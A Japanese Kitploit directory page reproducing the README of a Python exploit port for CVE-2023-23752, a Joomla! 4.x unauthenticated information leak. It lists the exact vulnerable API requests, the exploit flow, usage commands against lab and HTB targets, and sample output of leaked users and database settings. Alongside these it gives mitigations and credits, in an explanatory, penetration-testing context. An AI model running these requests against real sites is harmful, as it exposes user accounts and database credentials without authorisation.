Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-23752 — CVE-2023-23752 エクスプロイトの Python 移植版 — Joomla! < 4.2.8 認証不要の情報漏洩 (ユーザーリスト + データベース認証情報の漏洩) | Kitploit
ツール/GitHubGitHub/bardlaudian/cve-2023-23752
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubbardlaudian/cve-2023-23752

CVE-2023-23752

CVE-2023-23752 エクスプロイトの Python 移植版 — Joomla! < 4.2.8 認証不要の情報漏洩 (ユーザーリスト + データベース認証情報の漏洩)

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-23752 — Joomla! < 4.2.8 認証されていない情報漏洩

Python CVE Platform

⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみを目的としています。自分が所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。許可なく使用することは違法です。


目次

  • 概要
  • 脆弱性の詳細
  • 動作の仕組み
  • 要件
  • インストール
  • 使い方
  • 例
  • 緩和策
  • クレジット
  • 参考情報

概要

Joomla! は、最も広く使われているオープンソースのコンテンツ管理システム(CMS)の1つです。バージョン 4.0.0 から 4.2.7 では、2つのAPIエンドポイントに適切なアクセス制御がなく、認証されていない攻撃者が、登録ユーザーアカウントや、脆弱な設定ではサイトのデータベース認証情報などの機密情報を取得できる状態にあります。

この脆弱性は、NSFOCUS TIANJI Lab の Zewei Zhang によって発見され、Joomla! プロジェクトに開示されました。バージョン 4.2.8 でパッチがリリースされました。CVE-2023-23752 が割り当てられています。

このリポジトリには、ACCEIS が公開した元の Ruby エクスプロイトの が含まれています。

Python 移植版

脆弱性の詳細

フィールド値
CVECVE-2023-23752
影響を受けるバージョンJoomla! 4.0.0 – 4.2.7
タイプ不適切なアクセス制御 / 情報漏洩
必要な権限なし(認証不要)
影響ユーザーアカウントおよびDB認証情報の漏洩
パッチJoomla! 4.2.8(2023年リリース)

動作の仕組み

Joomla の REST API ウェブサービスエンドポイントは、データを返す前に認証とアクセスチェックを強制するよう設計されています。影響を受けるバージョンでは、2つのエンドポイントが public=true クエリパラメータ付きで呼び出された場合にこのチェックを正しく実行できず、リクエストを匿名の「パブリック」アクセスレベルからのものとして扱います。本来は非機密データのみを公開するべきですが、内部情報を漏洩してしまいます。

脆弱なエンドポイント

root@kitploit:~
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
  • users エンドポイントは、登録済みアカウントの完全なリスト(ID、表示名、ユーザー名、メール、グループメンバーシップ)を返します。
  • config エンドポイントは、アプリケーション設定を返します。インストーラーが削除または強化されていない場合、データベースホスト、ユーザー名、パスワード、データベース名、プレフィックス、暗号化設定 が含まれます。

エクスプロイトの流れ

スクリプトは以下の手順を自動化します:

root@kitploit:~
1. GETリクエストを /api/index.php/v1/users?public=true に送信
2. JSON:API レスポンスを解析し、ユーザーレコードを抽出
3. GETリクエストを /api/index.php/v1/config/application?public=true に送信
4. JSON:API レスポンスを解析し、サイトおよびデータベース設定を抽出
5. 両方のデータセットをコンソールに出力

認証、セッション、CSRFトークンは一切不要です。攻撃全体は認証されていない 2 つの GET リクエストで完了します。


要件

  • Python 3.8+
  • requests
root@kitploit:~
pip install requests --break-system-packages

インストール

root@kitploit:~
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages

使い方

root@kitploit:~
usage: CVE-2023-23752.py [-h] url

positional arguments:
  url         ターゲットのベースURL(例: http://dev.devvortex.htb)

options:
  -h, --help  このヘルプメッセージを表示して終了

例

基本使用法

root@kitploit:~
python3 CVE-2023-23752.py http://127.0.0.1:4242

HTB 形式のターゲットに対して

root@kitploit:~
python3 CVE-2023-23752.py http://dev.devvortex.htb

出力例

root@kitploit:~
=== Users ===
  [123] Administrator (admin) - [email protected] - ['Super Users']

=== Site info ===
  Site name: My Site
  Editor: tinymce
  Captcha: 0
  Access: 1
  Debug status: False

=== Database info ===
  DB type: mysqli
  DB host: localhost
  DB user: joomla_user
  DB password: ********
  DB name: joomla_db
  DB prefix: sd8f2_
  DB encryption: 0

緩和策

  • Joomla! をアップデートする: バージョン 4.2.8 以降に更新する。これが唯一の完全な修正です。
  • アクセスを制限する: アップグレードがすぐにできない場合は、WebサーバーまたはWAFレベルで /api/index.php/* へのアクセスを制限してください。
  • 認証情報をローテーションする: パッチ適用前にこのエンドポイントから公開された可能性のあるアカウントやデータベースユーザーの認証情報を変更してください。
  • アクセスログを監視する: /api/index.php/v1/ ウェブサービスパスへの認証されていないリクエストを監視してください。

クレジット

  • 脆弱性発見者: Zewei Zhang(NSFOCUS TIANJI Lab)
  • 元のエクスプロイト(Ruby): noraj(Alexandre ZANNI)for ACCEIS — 元のリポジトリ
  • Python 移植: Bardlaudian

参考情報

  • NVD — CVE-2023-23752
  • Exploit-DB — EDB-51334
  • PacketStorm 勧告
  • Joomla! セキュリティ勧告
  • 発見者勧告 — NSFOCUS
  • 元の Ruby エクスプロイト — Acceis
ツールをダウンロード